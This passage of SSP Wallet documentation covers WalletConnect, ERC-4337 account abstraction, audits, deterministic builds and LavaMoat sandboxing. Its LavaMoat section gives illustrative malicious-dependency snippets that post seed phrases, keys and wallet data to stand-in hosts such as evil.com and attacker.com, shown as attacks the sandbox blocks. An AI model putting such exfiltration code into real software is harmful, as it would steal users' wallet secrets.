// SSP Wallet handles the signing with both devices
const signature = await ssp.signTypedData(domain, types, message);
```

## Development Integration

### For dApp Developers

```javascript
// Initialize WalletConnect connection (Reown)
import { createWeb3Modal, defaultWagmiConfig } from '@web3modal/wagmi/react'
import { WagmiConfig } from 'wagmi'
import { arbitrum, mainnet, polygon, bsc, avalanche, base } from 'wagmi/chains'

const chains = [mainnet, polygon, bsc, avalanche, base]
const wagmiConfig = defaultWagmiConfig({ chains, projectId: 'YOUR_PROJECT_ID' })

// Create modal
createWeb3Modal({ wagmiConfig, projectId: 'YOUR_PROJECT_ID', chains })

// Connect to SSP Wallet
await web3Modal.open()

// Send transaction (EVM chains only)
const result = await connector.sendTransaction({
  to: '0x...',
  value: '1000000000000000000', 
  data: '0x...',
  chainId: 1 // Ethereum mainnet
});
```

### Configuration Options

* Custom RPC endpoints for different networks
* Gas estimation and fee customization
* Transaction timeout and retry logic
* Error handling and user feedback

## Enterprise Vaults (Multi-Party WalletConnect)

The **SSP Enterprise app** brings WalletConnect to shared **M-of-N multisig vaults**, not just a single 2-of-2 identity. The difference is governance: a dApp connects to a vault's treasury, and every dApp request flows through the vault's normal multi-party approval process instead of being signed instantly.

### Connecting a vault to a dApp

On an EVM vault, choose **Connect dApp** and paste the dApp's WalletConnect URI. The vault's smart-account address (an ERC-4337 Account Abstraction account) is exposed to the dApp for its own network.

### dApp transactions → proposals

When a dApp requests `eth_sendTransaction`, the enterprise app turns it into a **pending proposal** on the vault. It is not broadcast until it reaches the vault's required number of signatures and passes any active spending policies. Because a dApp expects a synchronous response, the request is held briefly: if the proposal is approved and broadcast while the request is still open, the real transaction hash is returned; otherwise the dApp is told the transaction was **submitted for multi-signature approval**, and it completes in SSP.

### Message signing → M-of-N ERC-1271 signatures

`personal_sign` (SIWE logins, Snapshot) and EIP-712 typed data become an **asynchronous, multi-party signature request**. Each designated signer co-signs with their wallet + key devices; the partial Schnorr signatures are aggregated into a single signature that the vault's smart account verifies on-chain via **ERC-1271 `isValidSignature`**. The message digest is the standard EIP-191 hash (or the canonical EIP-712 digest for typed data), so any standard verifier accepts it.

Notes:

* The vault smart account must be **deployed** (i.e. have made at least one transaction) for ERC-1271 verification to succeed against a counterfactual address.
* Fund movement always requires the two SSP signing devices; WalletConnect never bypasses the multisig.

## Security Considerations

### Best Practices

1. **Verify Connection Requests**: Always review dApp permissions carefully
2. **Monitor Session Activity**: Regularly check active WalletConnect sessions
3. **Use Trusted dApps**: Only connect to verified and audited applications
4. **Review Transaction Details**: Carefully examine all transaction parameters

### Risk Mitigation

* Automatic session expiration
* Transaction amount limits
* Suspicious activity detection
* Real-time security alerts

## Troubleshooting

### Common Issues

* **Connection Failures**: Check network connectivity and QR code validity
* **Transaction Delays**: Network congestion may cause slower confirmations
* **Session Expiry**: Re-establish connection if session becomes inactive

### Support Resources

* WalletConnect debugging tools
* SSP Wallet connection logs
* Community support channels
* Technical documentation

## Future Enhancements

### Planned Features

* WalletConnect v3 migration support
* Enhanced session management
* Custom permission systems
* Advanced gas optimization

### Integration Roadmap

* Support for additional blockchain networks
* Enhanced Account Abstraction features
* Improved user experience flows
* Developer SDK improvements

The WalletConnect v2 integration in SSP Wallet represents a significant advancement in secure dApp connectivity, combining the convenience of universal dApp access with the robust security of 2-of-2 multisignature technology.


# Account Abstraction Implementation

SSP Wallet implements ERC-4337 Account Abstraction with Schnorr signature multisignature support on EVM-compatible networks, providing advanced smart account capabilities while maintaining the security of the 2-of-2 multisignature architecture.

## Overview

Account Abstraction (AA) represents a paradigm shift in how Ethereum accounts work, enabling smart contract wallets to have the same user experience as Externally Owned Accounts (EOAs) while providing additional programmable features.

SSP Wallet's implementation combines:

* **ERC-4337 Standard**: Industry-standard Account Abstraction protocol
* **Schnorr Signatures**: Advanced cryptographic signatures for efficiency
* **2-of-2 Multisignature**: Maintaining SSP's core security model
* **Custom Validation Logic**: Flexible transaction validation rules

## Technical Architecture

### Smart Account Structure

```solidity
contract SSPSmartAccount {
    // Core validation logic
    function validateUserOp(UserOperation op, bytes32 opHash, uint256 missingAccountFunds)
        external returns (uint256 validationData);
    
    // Execute user operations
    function execute(address dest, uint256 value, bytes calldata func) external;
    
    // Batch execution
    function executeBatch(address[] calldata dest, uint256[] calldata value, bytes[] calldata func) external;
    
    // Schnorr signature validation
    function validateSchnorrSignature(bytes32 hash, bytes calldata signature) internal view returns (bool);
}
```

### Components

#### 1. UserOperation Structure

```typescript
interface UserOperation {
  sender: string;           // Smart account address
  nonce: string;           // Nonce for replay protection
  initCode: string;        // Code to deploy account (if needed)
  callData: string;        // Transaction data
  callGasLimit: string;    // Gas limit for execution
  verificationGasLimit: string; // Gas for verification
  preVerificationGas: string;   // Gas for pre-verification
  maxFeePerGas: string;    // Maximum gas fee
  maxPriorityFeePerGas: string; // Priority fee
  paymasterAndData: string; // Paymaster info
  signature: string;        // Schnorr multisig signature
}
```

#### 2. Schnorr Multisignature Validation

The smart account validates Schnorr signatures from both SSP Wallet and SSP Key:

```typescript
class SchnorrMultisigValidator {
  public validateSignature(
    userOpHash: string,
    signature: string,
    publicKey1: string,
    publicKey2: string
  ): boolean {
    // Verify both signatures are valid
    const sig1Valid = this.verifySchnorrSignature(userOpHash, signature.slice(0, 64), publicKey1);
    const sig2Valid = this.verifySchnorrSignature(userOpHash, signature.slice(64, 128), publicKey2);
    
    return sig1Valid && sig2Valid;
  }
}
```

## Key Features

### 1. Gas Payment

SSP Wallet does **not** enable paymaster sponsorship on EVM chains — every EVM UserOperation is paid from the smart account's **own native gas balance**, so the account must hold the chain's native token (ETH, MATIC, BNB, …). The `paymasterAndData` field is a standard ERC-4337 slot that SSP does **not** currently use, so the example below is illustrative only. Gasless / sponsored fees in the SSP stack exist **only on Solana**, where the SSP Relay paymaster signs the fee-payer slot.

```typescript
// Example: Sponsored transaction
const userOp = await smartAccount.buildUserOperation({
  target: tokenContract,
  data: transferCalldata,
  value: 0,
  paymaster: sponsorPaymaster, // Sponsor pays gas fees
});

const signature = await sspWallet.signUserOperation(userOp);
await bundler.submitUserOperation(userOp, signature);
```

### 2. Batch Operations

Execute multiple transactions atomically in a single operation:

```typescript
const batchOps = [
  {
    target: usdcContract,
    data: encodeApproval(spender, amount),
    value: 0
  },
  {
    target: dexContract,
    data: encodeSwap(tokenIn, tokenOut, amount),
    value: 0
  },
  {
    target: stakingContract,
    data: encodeStake(amount),
    value: 0
  }
];

await smartAccount.executeBatch(batchOps);
```

### 3. Session Keys — Not Supported

SSP Wallet does **not** implement session keys or delegated single-key spending. Every transaction always requires the full **2-of-2** (SSP Wallet + SSP Key); there is no `createSessionKey` API and no way for a dApp to transact with a temporary single key. This is deliberate — a session key would let one device spend alone, breaking the two-device security guarantee.

### 4. Recovery Model — No Social Recovery

SSP does **not** implement social recovery, guardians, or any third-key fallback. Even on EVM / Account Abstraction accounts, spending is a strict **2-of-2**: every transaction requires **both** the SSP Wallet key and the SSP Key. There is no threshold-of-guardians mechanism and no relay-side key recovery.

Each key is recoverable **only** from its own seed phrase:

* The **SSP Wallet** seed phrase restores the first (wallet) key.
* The **SSP Key** seed phrase restores the second (key) key.

The two seed phrases are **different** and both are required. If either key's device **and** its seed phrase are lost, you hold only 1 of the 2 required keys and the account can no longer sign — funds are permanently frozen. **Back up both seed phrases independently and store them separately.** See [Lost or Replaced a Device?](/docs/troubleshooting-and-support/lost-or-replaced-device).

## Implementation Details

### UserOperation Lifecycle

```mermaid
sequenceDiagram
    participant U as User
    participant W as SSP Wallet
    participant K as SSP Key
    participant B as Bundler
    participant S as Smart Account
    participant BC as Blockchain
    
    U->>W: Initiate Transaction
    W->>W: Build UserOperation
    W->>K: Request Signature
    K->>K: Sign UserOperation Hash
    K->>W: Return Signature
    W->>B: Submit UserOperation
    B->>S: Validate Signature
    S->>BC: Execute Transaction
    BC->>U: Transaction Confirmed
```

### Signature Generation Process

1. **UserOperation Hash**: Create deterministic hash of operation
2. **Dual Signing**: Both SSP Wallet and SSP Key sign the hash
3. **Signature Aggregation**: Combine signatures using Schnorr aggregation
4. **Validation**: Smart contract verifies both signatures

```typescript
// Signature generation
const userOpHash = getUserOperationHash(userOp, entryPoint, chainId);

// Sign with both devices
const signature1 = await sspWallet.signHash(userOpHash);
const signature2 = await sspKey.signHash(userOpHash);

// Combine signatures
const combinedSignature = combineSchnorrSignatures(signature1, signature2);
userOp.signature = combinedSignature;
```

## Security Enhancements

### 1. Multi-Layer Validation

* **Signature Validation**: Schnorr multisignature verification
* **Nonce Management**: Replay attack prevention
* **Gas Validation**: Prevent gas griefing attacks
* **Target Validation**: Whitelist of allowed contract interactions

### 2. Risk Management

```typescript
interface RiskPolicy {
  dailySpendLimit: string;
  singleTxLimit: string;
  allowedTokens: string[];
  blockedAddresses: string[];
  timeWindows: {
    start: number;
    end: number;
  }[];
}
```

### 3. Emergency Controls

* **Two-key enforcement**: Every UserOperation requires both signatures; a single device cannot execute
* **Device restore**: A lost device is restored only from its own seed phrase — there is no key recovery beyond the two seed phrases
* **Upgrade Protection**: Secure contract upgrade procedures

## Gas Optimization

### 1. Signature Aggregation

Schnorr signatures enable efficient aggregation, reducing gas costs:

```solidity
// Optimized validation
function validateSchnorrMultisig(bytes32 hash, bytes calldata signature) 
    internal view returns (bool) {
    // Single verification call for aggregated signature
    return SchnorrVerifier.verify(hash, signature, aggregatePublicKey);
}
```

### 2. Batch Operations

Reduce individual transaction overhead through batching:

```typescript
// Gas savings through batching
const individualGas = estimateGas(tx1) + estimateGas(tx2) + estimateGas(tx3);
const batchGas = estimateGas(batchTx);
const savings = individualGas - batchGas; // Typically 20-40% savings
```

## Development SDK

### Installation

```bash
npm install @runonflux/aa-schnorr-multisig-sdk
```

### Basic Usage

```typescript
import { SSPAccountAbstraction } from '@runonflux/aa-schnorr-multisig-sdk';

const aa = new SSPAccountAbstraction({
  provider: ethersProvider,
  entryPoint: ENTRY_POINT_ADDRESS,
  bundlerUrl: "https://bundler.example.com",
});

// Create smart account
const smartAccount = await aa.createAccount({
  publicKey1: sspWalletPublicKey,
  publicKey2: sspKeyPublicKey,
});

// Execute transaction
const userOp = await smartAccount.execute({
  target: tokenContract,
  data: transferCalldata,
  value: 0,
});
```

### Advanced Configuration

```typescript
const aa = new SSPAccountAbstraction({
  provider: ethersProvider,
  entryPoint: ENTRY_POINT_ADDRESS,
  bundlerUrl: "https://bundler.example.com",
  options: {
    gasMultiplier: 1.2, // 20% gas buffer
    maxRetries: 3,
    retryDelay: 1000,
    enableBatching: true,
  }
});
```

## Supported Networks

### EVM Networks (Account Abstraction with ERC-4337)

* **Ethereum Mainnet**: Full feature support (Chain ID: 1)
* **Polygon**: Low-cost operations (Chain ID: 137)
* **Base**: Coinbase L2 integration (Chain ID: 8453)
* **Binance Smart Chain**: BEP-20 support (Chain ID: 56)
* **Avalanche**: C-Chain compatibility (Chain ID: 43114)

### EVM Testnets

* **Sepolia**: Ethereum testnet (Chain ID: 11155111)
* **Amoy**: Polygon testnet (Chain ID: 80002)

**Note:** Account Abstraction is only available on EVM-compatible networks. UTXO networks (Bitcoin, Litecoin, Dogecoin, etc.) use native multisignature implementations and do not support Account Abstraction features.

### Under Evaluation

The following networks are being evaluated for future support:

* **Cardano**: Multi-signature implementation research in progress
* **Cosmos**: Inter-blockchain communication and multisig evaluation
* **TRON**: TRC-20 and native multisig assessment
* **NEAR**: Account model and multisig capabilities evaluation

## Best Practices

### 1. Gas Management

* Ensure the smart account holds native gas (ETH/MATIC/BNB…) — SSP does not sponsor EVM gas
* Batch operations when possible
* Set appropriate gas limits
* Monitor gas price fluctuations

### 2. Security Considerations

* Validate paymaster trustworthiness
* Implement spending limits
* Regular security audits
* Monitor unusual activity patterns

### 3. User Experience

* Clear transaction previews
* Progress indicators
* Error handling and recovery
* Educational materials

## Future Roadmap

### Short Term

* Enhanced paymaster integration
* Additional network support
* Improved gas estimation
* Mobile SDK optimization

### Long Term

* Cross-chain operations
* Advanced recovery mechanisms
* Institutional features
* Regulatory compliance tools

SSP Wallet's Account Abstraction implementation represents a significant advancement in smart contract wallet technology, combining the security benefits of multisignature architecture with the flexibility and user experience improvements of programmable accounts.


# Security Overview

## SSP's Security-First Approach

SSP Wallet is designed with **security as the foundation**, not an afterthought. Every component, communication, and operation is built to protect your cryptocurrency assets using industry-leading security practices.

## 🛡️ Core Security Principles

### 1. **True 2-of-2 Multisignature**

* **Both keys required** for every transaction
* **No single point of failure** in the system
* **Cryptographically enforced** security at the blockchain level

### 2. **Zero-Knowledge Architecture**

* Private keys **never leave your devices**
* SSP Relay **cannot access** sensitive data
* **TLS-encrypted in transit**; the relay is **zero-knowledge**, handling only **public data** (xpubs, identities, public nonces, scripts, addresses) — never seeds, keys, or signatures

### 3. **Self-Custody First**

* **You control** all private keys
* **No third-party custody** of funds
* **Full ownership** of your cryptocurrency

### 4. **Defense in Depth**

* **Multiple security layers** working together
* **Redundant protection** mechanisms
* **Graceful failure modes** that prioritize security

## 🔒 Security Layers

### Layer 1: Runtime Security

```
┌─────────────────────────────────────────┐
│          Runtime Security              │
├─────────────────────────────────────────┤
│ • LavaMoat Compartmentalization        │
│ • SES Lockdown Protection              │
│ • Supply Chain Attack Prevention       │
│ • Module Isolation (70+ packages)      │
│ • User-Verifiable Security Tests       │
└─────────────────────────────────────────┘
```

> **Try it yourself!** Click the version number in the wallet footer 5 times rapidly to access the built-in security test page and verify all protections are active.

### Layer 2: Device Security

```
┌─────────────────────────────────────────┐
│           Device Security               │
├─────────────────────────────────────────┤
│ • Password/PIN Protection               │
│ • Device Fingerprinting                 │
│ • Secure Storage (Keychain/MMKV)       │
│ • Biometric Authentication (Optional)   │
└─────────────────────────────────────────┘
```

### Layer 3: Cryptographic Security

```
┌─────────────────────────────────────────┐
│        Cryptographic Security          │
├─────────────────────────────────────────┤
│ • AES-256-GCM Encryption               │
│ • PBKDF2 Key Derivation                │
│ • Schnorr/ECDSA Signatures             │
│ • BIP48 HD Wallet Standard             │
└─────────────────────────────────────────┘
```

### Layer 4: Communication Security

```
┌─────────────────────────────────────────┐
│       Communication Security           │
├─────────────────────────────────────────┤
│ • TLS 1.3 Encryption                   │
│ • Message Authentication Codes         │
│ • Replay Attack Protection             │
│ • Zero-Knowledge Relay (public data)   │
└─────────────────────────────────────────┘
```

### Layer 5: Network Security

```
┌─────────────────────────────────────────┐
│          Network Security              │
├─────────────────────────────────────────┤
│ • Secure Blockchain RPC Endpoints      │
│ • Transaction Verification             │
│ • Double-Spend Protection              │
│ • Network Fee Validation               │
└─────────────────────────────────────────┘
```

## 🔐 Encryption Implementation

### Private Key Encryption

```javascript
// Simplified encryption flow
const encryptPrivateKey = (privateKey, password, deviceFingerprint) => {
  // 1. Generate random salt and IV
  const salt = crypto.getRandomValues(new Uint8Array(32));
  const iv = crypto.getRandomValues(new Uint8Array(16));
  
  // 2. Derive encryption key using PBKDF2
  const derivedKey = PBKDF2(password + deviceFingerprint, salt, 100000);
  
  // 3. Encrypt using AES-256-GCM
  const encrypted = AES_GCM.encrypt(privateKey, derivedKey, iv);
  
  return {
    data: base64(encrypted),
    salt: base64(salt),
    iv: base64(iv)
  };
};
```

### Key Derivation (BIP48)

```
Master Seed
    ↓
m/48'/cointype'/account'/script_type'/change/index
    ↓
Example Bitcoin: m/48'/0'/0'/2'/0/0
Example Ethereum: m/48'/60'/0'/0'/0/0
```

## 🛡️ Attack Resistance

### Protected Against

✅ **Single Device Compromise**: 2-of-2 multisig protects your funds ✅ **Phishing Attacks**: Address validation and device verification ✅ **Man-in-the-Middle**: Browser/OS-enforced TLS plus a zero-knowledge relay that only handles public data, so a MITM cannot recover keys or secrets ✅ **Brute Force**: Strong encryption and device fingerprinting ✅ **Server Compromise**: Zero-knowledge architecture protects keys ✅ **Replay Attacks**: Nonce-based message authentication ✅ **Social Engineering**: Multi-device approval required ✅ **Supply Chain Attacks**: LavaMoat compartmentalization and policies ✅ **Code Injection**: SES lockdown blocks eval and dynamic code execution ✅ **Prototype Pollution**: Immutable prototypes prevent tampering

### Potential Risks (Mitigated)

⚠️ **Both Device Loss**: Mitigated by seed phrase backup ⚠️ **User Error**: Mitigated by clear UI and confirmation steps ⚠️ **Physical Attack**: Mitigated by password protection ⚠️ **Compromised Dependencies**: Mitigated by LavaMoat runtime protection

## 🔍 Security Audits

### Professional Security Audits

SSP has undergone comprehensive security audits by [**Halborn Security**](https://halborn.com/):

#### 📄 **SSP Wallet, Key, and Relay Audit (2025)**

* **Scope**: Browser extension, mobile apps, and relay server
* **Focus**: Cross-device security, encryption, and communication protocols
* **Result**: Comprehensive security validation completed
* [**View Public Report**](https://www.halborn.com/audits/influx-technologies/ssp-wallet-relay-and-key)

#### 📄 **Smart Contracts Audit (2025)**

* **Scope**: Account Abstraction smart contracts with Schnorr multisig
* **Focus**: ERC-4337 implementation and cryptographic security
* **Result**: Smart contract security validated
* [**View Public Report**](https://www.halborn.com/audits/influx-technologies/account-abstraction-schnorr-multisig)

#### 📄 **SDK Security Audit (2025)**

* **Scope**: Account Abstraction SDK with Schnorr signatures
* **Focus**: Developer integration security and cryptographic implementation
* **Result**: SDK security practices validated
* [**View Public Report**](https://www.halborn.com/audits/influx-technologies/account-abstraction-schnorr-signatures-sdk)

## 🚨 Security Best Practices for Users

### Essential Practices

1. **📱 Keep Both Devices Secure**
   * Use strong passwords/PINs
   * Enable biometric authentication when available
   * Keep software updated
2. **🔄 Backup Your Seed Phrases**
   * Store both wallet and key seed phrases separately
   * Use secure, offline storage methods
   * Test recovery procedures
3. **🔍 Verify Transactions**
   * Always verify recipient addresses
   * Check transaction amounts carefully
   * Confirm network fees are reasonable
4. **🛡️ Stay Alert**
   * Be suspicious of unsolicited communications
   * Verify website URLs carefully
   * Never share seed phrases or private keys

### Advanced Security

1. **🔐 Multi-Location Backup**
   * Store seed phrases in different physical locations
   * Consider safety deposit boxes for large holdings
   * Use fire-proof and water-proof storage
2. **📊 Regular Wallet Review**
   * Review transaction history regularly
   * Verify both devices sync properly
   * Keep backup seed phrases secure and accessible

## 🆘 Security Incident Response

### If You Suspect Compromise

1. **🚨 Immediate Actions**
   * Stop all transactions immediately
   * Disconnect from networks if possible
   * Document any suspicious activity
2. **🔍 Assessment**
   * Check transaction history for unauthorized activity
   * Verify both devices are still secure
   * Review recent account access
3. **🔄 Recovery**
   * A single compromised device cannot move funds on its own — every transaction still requires both keys. While you still control both keys, use **both** devices together to move funds to a newly created wallet, then stop using the old setup
   * Create new wallet with fresh seed phrases
   * Report incident to security team

### Report Security Issues

* **GitHub Security**: [Report security vulnerabilities](https://github.com/RunOnFlux/ssp-wallet/security)
* **GitHub Issues**: [General security questions](https://github.com/RunOnFlux/ssp-wallet/issues)
* **Responsible Disclosure**: Use GitHub's security reporting features

## 🔬 Technical Security Details

### Cryptographic Specifications

* **Encryption**: AES-256-GCM with random IVs
* **Key Derivation**: PBKDF2 with 100,000+ iterations
* **Signatures**: ECDSA (Bitcoin and other UTXO chains), Schnorr multisig (EVM/Ethereum via ERC-4337 Account Abstraction), ed25519 (Solana)
* **Hashing**: SHA-256 for Bitcoin, Keccak-256 for Ethereum
* **HD Wallets**: BIP48 derivation for multisignature wallets

### Security Architecture

* **Open Source**: Transparent code for community security review
* **Deterministic Builds**: Verifiable build process with SHA256 checksums
* **Runtime Protection**: LavaMoat compartmentalization and SES lockdown
* **Regular Updates**: Continuous security improvements
* **Community Security**: GitHub-based security reporting

## 🏗️ Deterministic Builds

SSP Wallet implements **deterministic builds** to ensure complete transparency and verifiability of browser extension packages. This means anyone can rebuild the exact same packages and verify the integrity of what's submitted to browser stores.

### Why This Matters for Security

```
┌──────────────────────────────────────────┐
│    Deterministic Build Protection        │
├──────────────────────────────────────────┤
│ ✅ Verifiable Integrity                  │
│ ✅ No Hidden Code Injection              │
│ ✅ Reproducible Across Machines          │
│ ✅ Browser Store Verification            │
│ ✅ Build-Time Supply Chain Protection    │
└──────────────────────────────────────────┘
```

The same source code **always** produces byte-identical binaries, making it impossible to inject malicious code during the build process without detection.

### Quick Verification

```bash
# Clone the repository
git clone https://github.com/RunOnFlux/ssp-wallet.git
cd ssp-wallet

# Build using Docker for reproducibility
npm run build:deterministic

# Verify SHA256 hashes match published version
sha256sum -c SHA256SUMS
```

### Build Environment

* **Docker Image**: `node:24.11.1-alpine` (SHA-pinned)
* **Fixed Timestamp**: 2025-01-01 00:00:00 UTC (eliminates variation)
* **Frozen Dependencies**: `yarn.lock` ensures exact versions
* **Isolated Environment**: No host dependencies affect output
* **Output**: SHA256-verified Chrome and Firefox packages

### Security Guarantees

**Protected Against:**

* ❌ Build environment attacks (Docker isolation)
* ❌ Supply chain substitution (frozen dependencies)
* ❌ Timestamp manipulation (fixed SOURCE\_DATE\_EPOCH)
* ❌ Hidden build steps (complete reproducibility)

**Verified By:**

* ✅ Security auditors can rebuild and verify
* ✅ Browser store reviewers can validate submissions
* ✅ Community members can independently verify
* ✅ SHA256 checksums provide cryptographic proof

For complete technical details, build instructions, troubleshooting, and Docker configuration, see the [**Deterministic Builds Developer Guide**](/docs/ssp-wallet-development/deterministic-builds).

## Next Steps

* [**Runtime Security with LavaMoat**](/docs/security-and-best-practices/runtime-security) - Deep dive into runtime protection and supply chain security
* [**Deterministic Builds Guide**](/docs/ssp-wallet-development/deterministic-builds) - Complete guide to verifying and reproducing builds
* [**Halborn Security Audit**](/docs/security-and-best-practices/halborn-audit-2025) - Complete audit results and findings
* [**Device Security Guidelines**](/docs/security-and-best-practices/device-security) - Secure your SSP Wallet devices
* [**GitHub Security**](https://github.com/RunOnFlux/ssp-wallet/security) - Report security issues
* [**Interactive Setup Tutorial**](https://sspwallet.io/guide) - Secure wallet setup guide


# Runtime Security with LavaMoat

## Overview

SSP Wallet implements [**Vite Plugin LavaMoat**](https://github.com/RunOnFlux/ssp-wallet/tree/master/packages/vite-plugin-lavamoat) - a custom-built security framework that provides runtime compartmentalization and protection against supply chain attacks. This advanced security system ensures your wallet remains protected even if dependencies are compromised.

## What is LavaMoat?

LavaMoat is a security framework that creates isolated execution environments (compartments) for JavaScript modules. Each module runs with only the minimum permissions it needs, following the **principle of least privilege**.

### Core Principles

1. **Module Compartmentalization**: Each dependency runs in its own isolated sandbox
2. **Policy-Based Access Control**: Explicit permissions define what each module can access
3. **Defense in Depth**: Multiple layers of protection work together
4. **Zero Trust Architecture**: No module is trusted by default

## Security Features

### 1. SES Lockdown Runtime

The Secure ECMAScript (SES) lockdown provides fundamental protections:

* **Blocks dangerous APIs**: Prevents use of `eval()` and `Function` constructor
* **Prototype pollution prevention**: Locks down object prototypes to prevent tampering
* **Immutable intrinsics**: Protects built-in JavaScript objects from modification

```javascript
// These attacks are automatically blocked:
try {
  eval('malicious code');  // ❌ Blocked by LavaMoat
} catch (e) {
  console.log('Security protection active');
}

try {
  new Function('return steal_data()');  // ❌ Blocked by LavaMoat
} catch (e) {
  console.log('Function constructor blocked');
}

try {
  Object.prototype.polluted = 'hack';  // ❌ Blocked by LavaMoat
} catch (e) {
  console.log('Prototype pollution prevented');
}
```

### 2. Module Compartmentalization

Each of the **70+ packages** in SSP Wallet runs in isolated sandboxes:

```
┌─────────────────────────────────────────┐
│         Application Code                │
│  (Your wallet interface)                │
└──────────────┬──────────────────────────┘
               │
    ┌──────────┴──────────┐
    │                     │
┌───▼────────┐  ┌────────▼─────┐
│ Crypto Lib │  │  UI Library  │
│ Compartment│  │  Compartment │
│            │  │              │
│ Limited to:│  │ Limited to:  │
│ • crypto   │  │ • document   │
│ • Buffer   │  │ • window     │
│ • Math     │  │ • console    │
└────────────┘  └──────────────┘
```

### 3. Supply Chain Attack Protection

LavaMoat protects against compromised dependencies:

**Without LavaMoat:**

```javascript
// A compromised npm package could do:
localStorage.setItem('stolen', privateKey);  // ⚠️ Security breach
fetch('evil.com/steal', { body: seedPhrase });  // ⚠️ Data exfiltration
```

**With LavaMoat:**

```javascript
// The same malicious code is blocked:
localStorage.setItem('stolen', privateKey);  // ❌ No localStorage access
fetch('evil.com/steal', { body: seedPhrase });  // ❌ No network access
```

### 4. Granular Permission Controls

Each package receives only the permissions it needs:

```json
{
  "resources": {
    "viem": {
      "globals": {
        "crypto": true,      // ✅ Needed for cryptography
        "fetch": true,       // ✅ Needed for RPC calls
        "console": true      // ✅ Needed for debugging
        // ❌ No localStorage access
        // ❌ No document access
        // ❌ No eval/Function
      }
    },
    "react": {
      "globals": {
        "document": true,    // ✅ Needed for UI
        "window": true,      // ✅ Needed for events
        "console": true      // ✅ Needed for debugging
        // ❌ No crypto access
        // ❌ No network access
        // ❌ No storage access
      }
    }
  }
}
```

## Security Verification

### Accessing the Security Test Page

SSP Wallet includes a built-in security test interface that anyone can access to verify runtime protections are working:

**How to Access:**

1. Open SSP Wallet
2. Scroll to the footer at the bottom of the page
3. **Click the version number rapidly 5 times within 1 second**
4. The security test page will automatically open

This hidden developer feature allows you to run a comprehensive security audit directly in your browser and verify that all LavaMoat protections are active and functioning correctly.

### Available Tests

The security test page runs comprehensive checks:

* **Function Constructor Test**: Verifies `new Function()` is blocked
* **Eval Test**: Confirms `eval()` cannot execute arbitrary code
* **Prototype Pollution Test**: Validates object prototype protection
* **Global Property Test**: Checks global object immutability
* **WebAssembly Test**: Verifies WASM protections
* **Import Function Test**: Tests dynamic import restrictions

### Example Test Results

```
✅ PASS: eval() is correctly blocked
✅ PASS: Function constructor is blocked
✅ PASS: Prototype pollution prevented
✅ PASS: Global properties protected
✅ PASS: WebAssembly properly restricted
✅ PASS: Dynamic imports controlled

🛡️ Security Status: PROTECTED
📊 Tests Passed: 15/15
```

## LavaMoat Policy Management

### Static Security Policies

SSP Wallet uses **static policies** defined in `security/vite-lavamoat-policy.json`. This approach:

* ✅ **Predictable**: Behavior is consistent across environments
* ✅ **Auditable**: Security team can review exact permissions
* ✅ **Secure**: No runtime policy generation that could be manipulated
* ✅ **Performant**: No overhead from policy generation

### Policy Structure

```json
{
  "resources": {
    "package-name": {
      "packageName": "package-name",
      "globals": {
        "console": true,
        "crypto": true
      },
      "packages": {
        "dependency-1": true,
        "dependency-2": true
      },
      "builtins": {}
    }
  }
}
```

### Updating Policies

When adding new dependencies to SSP Wallet:

```bash
# Generate updated policy file
npm run generate-policy

# Review the changes
git diff security/vite-lavamoat-policy.json

# Ensure only necessary permissions are granted
```

## Production vs Development

### Development Mode

For the best developer experience, LavaMoat protections are **disabled in development**:

* No performance overhead during hot module reload
* Full access to browser DevTools
* Easier debugging and development
* Standard error messages and stack traces

```bash
yarn dev  # LavaMoat disabled for development
```

### Production Mode

In production builds, full security protections are active:

* All compartmentalization enforced
* Static policies applied to every module
* SES lockdown active
* Comprehensive runtime protection

```bash
yarn build:all  # LavaMoat fully enabled
```

## Technical Implementation

### Vite Plugin Architecture

```typescript
// vite.config.ts
import { viteLavaMoat } from './packages/vite-plugin-lavamoat';

export default defineConfig({
  plugins: [
    viteLavaMoat({
      policyPath: './security/vite-lavamoat-policy.json',
      lockdown: true,
      diagnostics: false,
      scuttleGlobalThis: {
        enabled: true,
        exceptions: ['chrome', 'browser']
      }
    })
  ]
});
```

### Runtime Initialization

The LavaMoat runtime initializes before any application code:

1. **Load Policy**: Parse security policies from JSON
2. **Apply Lockdown**: Enable SES protections
3. **Create Compartments**: Set up isolated execution environments
4. **Load Application**: Start wallet with full protection

### Browser Extension Integration

LavaMoat integrates seamlessly with Chrome extension APIs:

```javascript
// manifest.json - Content Security Policy
{
  "content_security_policy": {
    "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
  }
}
```

## Protected Packages

SSP Wallet protects **70+ packages** including:

### Cryptography Libraries

* `@noble/hashes` - Cryptographic hash functions
* `@noble/curves` - Elliptic curve cryptography
* `@scure/base` - Base encoding/decoding
* `@scure/bip32` - HD wallet key derivation
* `@scure/bip39` - Mnemonic seed phrase generation

### Web3 Libraries

* `viem` - Ethereum interactions
* `ethers` - Alternative Ethereum library
* `@bitcoinerlab/secp256k1` - Bitcoin cryptography

### UI Libraries

* `react` - User interface framework
* `react-dom` - DOM rendering
* `antd` - UI component library
* `react-qr-code` - QR code generation

### Utility Libraries

* `axios` - HTTP client
* `bignumber.js` - Precision math
* `buffer` - Node.js Buffer API
* And many more...

## Attack Scenarios Prevented

### Scenario 1: Compromised Dependency

**Attack**: Malicious update to a UI library attempts to steal private keys

```javascript
// Malicious code in compromised package
const keys = localStorage.getItem('encrypted_keys');
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: keys
});
```

**LavaMoat Protection**:

* ❌ UI libraries have no `localStorage` access
* ❌ UI libraries have no `fetch` access
* ✅ Attack automatically blocked

### Scenario 2: Prototype Pollution

**Attack**: Dependency pollutes Object prototype to inject malicious behavior

```javascript
// Malicious code
Object.prototype.isAdmin = true;
Object.prototype.bypassSecurity = function() { /* ... */ };
```

**LavaMoat Protection**:

* ❌ Prototype modification blocked by SES lockdown
* ✅ Object prototypes remain immutable

### Scenario 3: Code Injection

**Attack**: Attacker uses eval to execute arbitrary code

```javascript
// Malicious code
const userInput = getDataFromURL();
eval(userInput);  // Could execute: "sendAllFundsTo('attacker')"
```

**LavaMoat Protection**:

* ❌ `eval()` completely disabled
* ❌ `Function` constructor blocked
* ✅ No dynamic code execution possible

### Scenario 4: Data Exfiltration

**Attack**: Analytics library compromised to steal wallet data

```javascript
// Malicious analytics update
const walletData = {
  addresses: getAllAddresses(),
  balances: getAllBalances(),
  transactions: getTransactionHistory()
};
fetch('evil.com/collect', { body: JSON.stringify(walletData) });
```

**LavaMoat Protection**:

* ❌ Analytics package has no access to wallet storage APIs
* ❌ Even with compromised code, cannot access sensitive data
* ✅ Compartmentalization prevents data access

## Security Benefits

### For Users

* **Peace of Mind**: Multiple layers of protection for your assets
